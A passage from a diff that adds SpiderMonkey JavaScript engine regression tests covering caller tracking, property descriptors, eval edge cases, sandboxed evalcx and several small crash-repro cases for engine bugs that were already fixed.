arguments.callee.caller; + let obj_go = obj.go; + return caller != obj_go && caller.__proto__ == obj_go.__proto__; + } + + case 4: { + assertEq(obj, objC); + + let save = obj.go; + delete obj.go; + return arguments.callee.caller == save; + } + + case 5: { + assertEq(obj, objD); + + let read = obj.go; + break; + } + } + + return arguments.callee.caller == obj.go; +} + +function make() { + return { + go: function(obj) { + return testCaller(obj); + } + }; +} + +var objA = make(), + objB = make(), + objC = make(), + objD = make(); + +reportCompare(true, objA.go(objA), "1"); +reportCompare(true, objA.go(objA), "2"); +reportCompare(true, objB.go(objB), "3"); +reportCompare(true, objC.go(objC), "4"); +reportCompare(true, objD.go(objD), "5"); diff --git a/js/src/tests/js1_8_5/regress/regress-577648-2.js b/js/src/tests/js1_8_5/regress/regress-577648-2.js new file mode 100644 index 000000000..d9ba91316 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-577648-2.js @@ -0,0 +1,12 @@ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + * Contributor: Jason Orendorff + */ + +var o = { f: function() { return o.g(); }, g: function() { return arguments.callee.caller; } }; +var c = o.f(); +var i = 'f'; +var d = o[i](); + +reportCompare(true, c === o.f && d === o.f(), ""); diff --git a/js/src/tests/js1_8_5/regress/regress-583429.js b/js/src/tests/js1_8_5/regress/regress-583429.js new file mode 100644 index 000000000..67e1b4195 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-583429.js @@ -0,0 +1,7 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ +// Contributor: Andreas Gal <gal@uci.edu> + +assertEq(Object.getOwnPropertyNames(Array.prototype).indexOf("length") >= 0, true); + +reportCompare("ok", "ok", "bug 583429"); diff --git a/js/src/tests/js1_8_5/regress/regress-584355.js b/js/src/tests/js1_8_5/regress/regress-584355.js new file mode 100644 index 000000000..4ddfe65d3 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-584355.js @@ -0,0 +1,7 @@ +var actual; +var expect = "function f() { ff (); }"; +function fun() { + (new Function ("function ff () { actual = '' + ff. caller; } function f () { ff (); } f ();")) (); +} +fun(); +reportCompare(expect, actual, ""); diff --git a/js/src/tests/js1_8_5/regress/regress-584648.js b/js/src/tests/js1_8_5/regress/regress-584648.js new file mode 100644 index 000000000..a1635ea51 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-584648.js @@ -0,0 +1,16 @@ +// |reftest| skip +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ +// Contributors: Gary Kwong <gary@rumblingedge.com> +// Jason Orendorff <jorendorff@mozilla.com> + +// on a non-global object +var x = {}; +x.watch("p", function () { evalcx(''); }); +x.p = 0; + +// on the global +watch("e", (function () { evalcx(''); })); +e = function () {}; + +reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-585257.js b/js/src/tests/js1_8_5/regress/regress-585257.js new file mode 100644 index 000000000..7d076af23 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-585257.js @@ -0,0 +1,7 @@ +// |reftest| skip +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ +// Contributor: Gary Kwong <gary@rumblingedge.com> + +Object.create(evalcx('')).__defineSetter__('toString', function(){}); +reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-586482-1.js b/js/src/tests/js1_8_5/regress/regress-586482-1.js new file mode 100644 index 000000000..1cab74a3f --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-586482-1.js @@ -0,0 +1,25 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +var expect = true; +var actual; + +var checkCaller = function(me) { + var caller = arguments.callee.caller; + var callerIsMethod = (caller === me['doThing']); + actual = callerIsMethod; +}; + +var MyObj = function() { +}; + +MyObj.prototype.doThing = function() { + checkCaller(this); +}; + +(new MyObj()).doThing(); + +reportCompare(expect, actual, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-586482-2.js b/js/src/tests/js1_8_5/regress/regress-586482-2.js new file mode 100644 index 000000000..7eb44d020 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-586482-2.js @@ -0,0 +1,22 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +var expect = true; +var actual; + +var checkCaller = function(me) { + var caller = arguments.callee.caller; + var callerIsMethod = (caller === me['doThing']); + actual = callerIsMethod; +}; + +Object.prototype.doThing = function() { + checkCaller(this); +}; + +["dense"].doThing(); + +reportCompare(expect, actual, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-586482-3.js b/js/src/tests/js1_8_5/regress/regress-586482-3.js new file mode 100644 index 000000000..92e9d5c84 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-586482-3.js @@ -0,0 +1,27 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +var expect = true; +var actual; + +var checkCaller = function(me) { + var f = me['doThing']; + delete MyObj.prototype['doThing']; + var caller = arguments.callee.caller; + var callerIsMethod = (f === caller); + actual = callerIsMethod; +}; + +var MyObj = function() { +}; + +MyObj.prototype.doThing = function() { + checkCaller(this); +}; + +(new MyObj()).doThing(); + +reportCompare(expect, actual, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-586482-4.js b/js/src/tests/js1_8_5/regress/regress-586482-4.js new file mode 100644 index 000000000..34352bfe7 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-586482-4.js @@ -0,0 +1,25 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +var expect, actual; + +var obj = { + f: function() { + expect = this.g; + actual = arguments.callee.caller; + print("Ok"); + } +}; + +var obj2 = { __proto__: obj, g: function() { this.f(); }}; + +var obj3 = { __proto__: obj2, h: function() { this.g(); }}; + +var obj4 = { __proto__: obj3 } + +obj4.h(); + +reportCompare(expect, actual, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-586482-5.js b/js/src/tests/js1_8_5/regress/regress-586482-5.js new file mode 100644 index 000000000..3ddc14193 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-586482-5.js @@ -0,0 +1,18 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +function check() { + obj2.__proto__ = null; + return arguments.callee.caller; +} + +var obj = { f: function() { check(); }}; + +var obj2 = { __proto__: obj }; + +obj2.f(); + +reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-588339.js b/js/src/tests/js1_8_5/regress/regress-588339.js new file mode 100644 index 000000000..b23f018f9 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-588339.js @@ -0,0 +1,5 @@ +({}) +eval("{}") + +/* Watch for crash. */ +reportCompare(0, 0, ""); diff --git a/js/src/tests/js1_8_5/regress/regress-591846.js b/js/src/tests/js1_8_5/regress/regress-591846.js new file mode 100644 index 000000000..68b1feca3 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-591846.js @@ -0,0 +1,64 @@ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +function check(obj, name, value, readonly) { + // Start with a non-configurable, writable data property implemented via + // js::PropertyOp getter and setter. + var pd = Object.getOwnPropertyDescriptor(obj, name); + + assertEq(pd.configurable, false, "non-configurable " + name); + assertEq(pd.writable, !readonly, "writable " + name); + + try { + // Do not allow a transition from js::PropertyOp to writable js::Value + // data property. + Object.defineProperty(obj, name, {writable: true}); + assertEq(0, 1); + } catch (e) { + assertEq('' + e, "TypeError: can't redefine non-configurable property '" + name + "'"); + } + + if (!readonly) { + try { + // Do not allow the property denoted by name to become a true data + // property via a descriptor that preserves the native property's + // writable attribute. + Object.defineProperty(obj, name, {value: value}); + assertEq(0, 1); + } catch (e) { + assertEq('' + e, "TypeError: can't redefine non-configurable property '" + name + "'"); + } + } + + try { + // Do not allow the property to be frozen at some bogus value. + Object.defineProperty(obj, name, {value: "bogus", writable: false}); + assertEq(0, 1); + } catch (e) { + assertEq('' + e, "TypeError: can't redefine non-configurable property '" + name + "'"); + } + + // Now make name non-writable. + Object.defineProperty(obj, name, {writable: false}) + + // Assert that the right getter result "stuck". + assertEq(obj[name], value); + + // Test that it is operationally non-writable now. + obj[name] = "eek!"; + assertEq(obj[name], value); +} + +// Reset RegExp.leftContext to the empty string. +/x/.test('x'); + +var d = Object.getOwnPropertyDescriptor(RegExp, "leftContext"); +assertEq(d.set, undefined); +assertEq(typeof d.get, "function"); +assertEq(d.enumerable, true); +assertEq(d.configurable, false); +assertEq(d.get.call(RegExp), ""); + +reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-591897.js b/js/src/tests/js1_8_5/regress/regress-591897.js new file mode 100644 index 000000000..11e1f05e6 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-591897.js @@ -0,0 +1,14 @@ +// |reftest| skip +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ +// Contributor: Gary Kwong <gary@rumblingedge.com> + +var expect = 42; +var actual = (function({ + x: [w] +}, +x) { + with({}) {return w;} +})({x:[42]}); + +reportCompare(expect, actual, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-592202-3.js b/js/src/tests/js1_8_5/regress/regress-592202-3.js new file mode 100644 index 000000000..db44245b0 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-592202-3.js @@ -0,0 +1,28 @@ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +test(); + +function test() +{ + var counter = 0; + function f(x,y) { + try + { + throw 42; + } + catch(e2) + { + foo(function(){ return x; }| "9.2" && 5 || counter && e); + ++counter; + } + } + + f(2, 1); +} + +function foo(bar) { return ""+bar; } + +reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-592202-4.js b/js/src/tests/js1_8_5/regress/regress-592202-4.js new file mode 100644 index 000000000..742528056 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-592202-4.js @@ -0,0 +1,31 @@ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +function p() { } + +function test() +{ + var counter = 0; + + function f(x) { + try + { + throw 42; + } + catch(e) + { + assertEq(counter, 0); + p(function(){x;}); + counter = 1; + } + } + + f(2); + assertEq(counter, 1); +} + +test(); + +reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-592556-c35.js b/js/src/tests/js1_8_5/regress/regress-592556-c35.js new file mode 100644 index 000000000..c2ceb4a32 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-592556-c35.js @@ -0,0 +1,20 @@ +// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Jason Orendorff <jorendorff@mozilla.com>
+
+var obj = {a: 0, b: 1, c: 2};
+delete obj.b; // switch to dictionary mode
+Object.defineProperty(obj, 'g',
+ {get: function () { return -1; }, configurable: true});
+for (var i = 3; i < 20; i++)
+ obj['x' + i] = i; // get property table
+for (var i = 3; i < 20; i++)
+ delete obj['x' + i]; // add to freelist
+delete obj.g; // must update lastProp->freeslot, to avoid assertion
+
+// extra junk to try to hit the assertion, if freeslot is not updated
+gc();
+obj.d = 3;
+obj.e = 4;
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-593256.js b/js/src/tests/js1_8_5/regress/regress-593256.js new file mode 100644 index 000000000..fe24bee40 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-593256.js @@ -0,0 +1,21 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +eval("\ + (function(){for(d in[0,Number]) {\ + this.__defineGetter__(\"\",function(){}),\ + [(this.__defineGetter__(\"x\",Math.pow))]\ + }})\ +")() +delete gc +eval("\ + (function() {\ + for(e in this.__defineSetter__(\"x\",function(){})){}\ + })\ +")() +delete gc + +reportCompare(true, true, "don't crash"); diff --git a/js/src/tests/js1_8_5/regress/regress-595230-2.js b/js/src/tests/js1_8_5/regress/regress-595230-2.js new file mode 100644 index 000000000..02499df76 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-595230-2.js @@ -0,0 +1,10 @@ +// |reftest| fails-if(!xulRuntime.shell) +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ +// Contributors: Jason Orendorff <jorendorff@mozilla.com> + +var s = evalcx(""); +delete s.Object; +evalcx("var x;", s); + +this.reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-595365-1.js b/js/src/tests/js1_8_5/regress/regress-595365-1.js new file mode 100644 index 000000000..1010d8853 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-595365-1.js @@ -0,0 +1,31 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +/* + * NB: this test hardcodes the value of MAX_PROPERTY_TREE_HEIGHT. + */ +var i = 0; +function add0to64(o) { + o.p00 = ++i;o.p01 = ++i;o.p02 = ++i;o.p03 = ++i;o.p04 = ++i;o.p05 = ++i;o.p06 = ++i;o.p07 = ++i; + o.p10 = ++i;o.p11 = ++i;o.p12 = ++i;o.p13 = ++i;o.p14 = ++i;o.p15 = ++i;o.p16 = ++i;o.p17 = ++i; + o.p20 = ++i;o.p21 = ++i;o.p22 = ++i;o.p23 = ++i;o.p24 = ++i;o.p25 = ++i;o.p26 = ++i;o.p27 = ++i; + o.p30 = ++i;o.p31 = ++i;o.p32 = ++i;o.p33 = ++i;o.p34 = ++i;o.p35 = ++i;o.p36 = ++i;o.p37 = ++i; + o.p40 = ++i;o.p41 = ++i;o.p42 = ++i;o.p43 = ++i;o.p44 = ++i;o.p45 = ++i;o.p46 = ++i;o.p47 = ++i; + o.p50 = ++i;o.p51 = ++i;o.p52 = ++i;o.p53 = ++i;o.p54 = ++i;o.p55 = ++i;o.p56 = ++i;o.p57 = ++i; + o.p60 = ++i;o.p61 = ++i;o.p62 = ++i;o.p63 = ++i;o.p64 = ++i;o.p65 = ++i;o.p66 = ++i;o.p67 = ++i; + o.p70 = ++i;o.p71 = ++i;o.p72 = ++i;o.p73 = ++i;o.p74 = ++i;o.p75 = ++i;o.p76 = ++i;o.p77 = ++i; + o.p100 = ++i; + return o; +} +function add65th(o) { + o.p101 = ++i; +} +var o = add0to64({}); +add65th(o); +delete o.p101; +add65th(o); + +reportCompare(true, true, "don't crash"); diff --git a/js/src/tests/js1_8_5/regress/regress-596103.js b/js/src/tests/js1_8_5/regress/regress-596103.js new file mode 100644 index 000000000..2b1910096 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-596103.js @@ -0,0 +1,13 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ +// Contributor: Gary Kwong <gary@rumblingedge.com>, Jesse Ruderman <jruderman@gmail.com> + +for (var u = 0; u < 3; ++u) { + var y = []; + Object.create(y); + gc(); + y.t = 3; + gc(); +} + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/regress/regress-596805-1.js b/js/src/tests/js1_8_5/regress/regress-596805-1.js new file mode 100644 index 000000000..c008beb38 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-596805-1.js @@ -0,0 +1,14 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +var f = function(){}; +for (var y in f); +f.j = 0; +Object.defineProperty(f, "k", ({configurable: true})); +delete f.j; +Object.defineProperty(f, "k", ({get: function() {}})); + +reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-596805-2.js b/js/src/tests/js1_8_5/regress/regress-596805-2.js new file mode 100644 index 000000000..52bf4fc6c --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-596805-2.js @@ -0,0 +1,27 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +for each(let c in [0, 0, 0, 0, 0]) { + try { (function() { + this.c = this; + this.e = arguments; + Object.defineProperty(this, "d", { + get: Math.pow, + configurable: true + }); + delete this.e; + delete this.c; + Object.defineProperty(this, "d", { + writable: true + }); + if (Math.tan( - 1)) { + Object.defineProperty(this, {}); + } + } (c)); + } catch(e) {} +} + +reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-597945-1.js b/js/src/tests/js1_8_5/regress/regress-597945-1.js new file mode 100644 index 000000000..3ecf569e6 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-597945-1.js @@ -0,0 +1,24 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +var arguments; + +function b(foo) { + delete foo.d + delete foo.w + foo.d = true + foo.w = Object + delete Object.defineProperty(foo, "d", ({ + set: Math.w + })); {} +} +for each(e in [arguments, arguments]) { + try { + b(e)('') + } catch (e) {} +} + +reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-597945-2.js b/js/src/tests/js1_8_5/regress/regress-597945-2.js new file mode 100644 index 000000000..ca5b2e162 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-597945-2.js @@ -0,0 +1,13 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +var a = {d: true, w: true}; +Object.defineProperty(a, "d", {set: undefined}); +delete a.d; +delete a.w; +a.d = true; + +reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-598176.js b/js/src/tests/js1_8_5/regress/regress-598176.js new file mode 100644 index 000000000..754edf239 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-598176.js @@ -0,0 +1,27 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +function make() { + var r = {}; + r.desc = {get: function() {}}; + r.a = Object.defineProperty({}, "prop", r.desc); + r.info = Object.getOwnPropertyDescriptor(r.a, "prop"); + return r; +} + +r1 = make(); +assertEq(r1.desc.get, r1.info.get); + +// Distinct evaluations of an object literal make distinct methods. +r2 = make(); +assertEq(r1.desc.get === r2.desc.get, false); + +r1.info.get.foo = 42; + +assertEq(r1.desc.get.hasOwnProperty('foo'), !r2.desc.get.hasOwnProperty('foo')); +assertEq(r1.info.get.hasOwnProperty('foo'), !r2.info.get.hasOwnProperty('foo')); + +reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-600067.js b/js/src/tests/js1_8_5/regress/regress-600067.js new file mode 100644 index 000000000..4bcf57406 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-600067.js @@ -0,0 +1,16 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +/* + * NB: this test hardcodes for the value of PropertyTable::HASH_THRESHOLD (6). + */ + +function s(e) { + var a, b, c, d; + function e() { } +} + +reportCompare(0, 0, "don't crash"); diff --git a/js/src/tests/js1_8_5/regress/regress-601399.js b/js/src/tests/js1_8_5/regress/regress-601399.js new file mode 100644 index 000000000..7f727c697 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-601399.js @@ -0,0 +1,25 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + * + * Test courtesy of Olov Lassus <olov.lassus@gmail.com>. + */ + +function keys(o) { + var a = []; + for (var key in o) { + a.push(key); + } + return a; +} + +var obj = { + 'a': function() {}, 'b': function() {}, 'c': function() {} +}; +var orig_order = keys(obj).toString(); +var tmp = obj["b"]; +var read_order = keys(obj).toString(); + +reportCompare(orig_order, read_order, + "property enumeration order should not change after reading a method value"); diff --git a/js/src/tests/js1_8_5/regress/regress-602621.js b/js/src/tests/js1_8_5/regress/regress-602621.js new file mode 100644 index 000000000..bf9eaffec --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-602621.js @@ -0,0 +1,15 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +function test(arg) { + eval(arg); + { + function arguments() { return 1; } + } + return arguments; +} + +reportCompare("function", typeof test("42"), "function sub-statement must override arguments"); diff --git a/js/src/tests/js1_8_5/regress/regress-607799.js b/js/src/tests/js1_8_5/regress/regress-607799.js new file mode 100644 index 000000000..f1111dd67 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-607799.js @@ -0,0 +1,2 @@ +// |reftest| fails-if(!xulRuntime.shell) +reportCompare(typeof(evalcx("/x/")), "object") diff --git a/js/src/tests/js1_8_5/regress/regress-607863.js b/js/src/tests/js1_8_5/regress/regress-607863.js new file mode 100644 index 000000000..75d9ae09f --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-607863.js @@ -0,0 +1,14 @@ +// |reftest| fails-if(!xulRuntime.shell) +/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +var sandbox = evalcx(''); +var foreign = evalcx('({ get f() this, set x(v) { result = this } })', sandbox); +var local = Object.create(foreign); + +reportCompare(local, local.f, "this should be set correctly in getters"); +local.x = 42; +reportCompare(local, sandbox.result, "this should be set correctly in setters"); diff --git a/js/src/tests/js1_8_5/regress/regress-609617.js b/js/src/tests/js1_8_5/regress/regress-609617.js new file mode 100644 index 000000000..f588153d4 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-609617.js @@ -0,0 +1,85 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +var actual; +var expect = "pass"; + +var x = "fail"; +function f() { + var x = "pass"; + delete(eval("actual = x")); +} +f(); +assertEq(actual, expect); + +function g() { return 1 } +function h() { function g() { throw 2; } eval('g()')++; } + +try { + h(); + assertEq(0, -1); +} catch (e) { + assertEq(e, 2); +} + +var lhs_prefix = ["", "++", "--", "", "", "[", "[y, " ]; +var lhs_suffix = [" = 'no'", "", "", "++", "--", ", y] = [3, 4]", "] = [5, 6]"]; + +for (var i = 0; i < lhs_prefix.length; i++) { + try { + eval(lhs_prefix[i] + "eval('x')" + lhs_suffix[i]); + assertEq(i, -2); + } catch (e) { + if (/\[/.test(lhs_prefix[i])) { + assertEq(e.message, "invalid destructuring target"); + } else { + /* + * NB: JSOP_SETCALL throws only JSMSG_BAD_LEFTSIDE_OF_ASS, it does not + * specialize for ++ and -- as the compiler's error reporting does. See + * the next section's forked assertEq code. + */ + assertEq(e.message, "invalid assignment left-hand side"); + } + } +} + +/* Now test for strict mode rejecting any SETCALL variant at compile time. */ +for (var i = 0; i < lhs_prefix.length; i++) { + try { + eval("(function () { 'use strict'; " + lhs_prefix[i] + "foo('x')" + lhs_suffix[i] + "; })"); + assertEq(i, -3); + } catch (e) { + if (/\+\+|\-\-/.test(lhs_prefix[i] || lhs_suffix[i])) + assertEq(e.message, "invalid increment/decrement operand"); + else if (/\[/.test(lhs_prefix[i])) + assertEq(e.message, "invalid destructuring target"); + else + assertEq(e.message, "invalid assignment left-hand side"); + } +} + +/* + * The useless delete is optimized away, but the SETCALL must not be. It's not + * an early error, though. + */ +var fooArg; +function foo(arg) { fooArg = arg; } +try { + eval("delete (foo('x') = 42);"); + assertEq(0, -4); +} catch (e) { + assertEq(e.message, "invalid assignment left-hand side"); +} +assertEq(fooArg, 'x'); + +/* Delete of a call expression is not an error at all, even in strict mode. */ +function g() { + "use strict"; + assertEq(delete Object(), true); +} +g(); + +reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-610026.js b/js/src/tests/js1_8_5/regress/regress-610026.js new file mode 100644 index 000000000..e7b9df909 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-610026.js @@ -0,0 +1,48 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +var expect = "pass"; +var actual; + +// Scripts used to be limited to 2**20 blocks, but no longer since the frontend +// rewrite. The exact limit-testing here should all pass now, not pass for +// 2**20 - 1 and fail for 2**20. +var s = "{}"; +for (var i = 0; i < 21; i++) + s += s; + +try { + eval(s); + actual = "pass"; +} catch (e) { + actual = "fail: " + e; +} + +assertEq(actual, expect); + +s += s.slice(0, -4); + +try { + eval(s); + actual = "pass"; +} catch (e) { + actual = "fail: " + e; +} + +assertEq(actual, expect); + +s += "{}"; + +try { + eval(s); + actual = "pass"; +} catch (e) { + actual = "fail: " + e; +} + +assertEq(actual, expect); + +reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-614714.js b/js/src/tests/js1_8_5/regress/regress-614714.js new file mode 100644 index 000000000..4d387279c --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-614714.js @@ -0,0 +1,12 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +function f(reportCompare) { + if (typeof clear === 'function') + clear(this); + return f; +} + +// This must be called before clear(). +reportCompare(0, 0, 'ok'); +f(); // don't assert diff --git a/js/src/tests/js1_8_5/regress/regress-617405-1.js b/js/src/tests/js1_8_5/regress/regress-617405-1.js new file mode 100644 index 000000000..f8625496c --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-617405-1.js @@ -0,0 +1,11 @@ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + * Contributors: Christian Holler <decoder@own-hero.net> and Jason Orendorff + */ + +function C(){} +C.prototype = 1; +assertEq(Object.getOwnPropertyDescriptor(C, "prototype").configurable, false); + +reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-617405-2.js b/js/src/tests/js1_8_5/regress/regress-617405-2.js new file mode 100644 index 000000000..76e59b663 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-617405-2.js @@ -0,0 +1,17 @@ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + * Contributors: Christian Holler <decoder@own-hero.net> and Jason Orendorff + */ + +function C(){} +C.prototype = 1; +try { + Object.defineProperty(C, "prototype", {get: function() { throw 0; }}); + actual = "no exception"; +} catch (exc) { + actual = exc.name; +} +new C; // don't assert +assertEq(actual, "TypeError"); +reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-618572.js b/js/src/tests/js1_8_5/regress/regress-618572.js new file mode 100644 index 000000000..915c60233 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-618572.js @@ -0,0 +1,37 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +//----------------------------------------------------------------------------- +var BUGNUMBER = 618572; +var summary = 'Do not assert when ungetting a Unicode char sequence'; +var actual = ''; +var expect = ''; + +//----------------------------------------------------------------------------- +test(); +//----------------------------------------------------------------------------- + +function test() +{ + enterFunc ('test'); + printBugNumber(BUGNUMBER); + printStatus (summary); + + expect = 'SyntaxError: illegal character'; + + try + { + eval("var a\\0021 = 3;"); + } + catch(ex) + { + actual = ex + ''; + } + + reportCompare(expect, actual, summary); + + exitFunc ('test'); +} diff --git a/js/src/tests/js1_8_5/regress/regress-619003-1.js b/js/src/tests/js1_8_5/regress/regress-619003-1.js new file mode 100644 index 000000000..6a9fd3b50 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-619003-1.js @@ -0,0 +1,20 @@ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ +var expect = 'SyntaxError: duplicate argument names not allowed in this context'; +var actual = 'No error'; + +var a = []; + +// Test up to 200 to cover tunables such as js::PropertyTree::MAX_HEIGHT. +for (var i = 0; i < 200; i++) { + a.push("b" + i); + try { + eval("(function ([" + a.join("],[") + "],a,a){})"); + } catch (e) { + actual = '' + e; + } + assertEq(actual, expect); +} +reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-619003-2.js b/js/src/tests/js1_8_5/regress/regress-619003-2.js new file mode 100644 index 000000000..643286f24 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-619003-2.js @@ -0,0 +1,9 @@ +/* + * Any copyright is dedicated to the Public Domain. + * 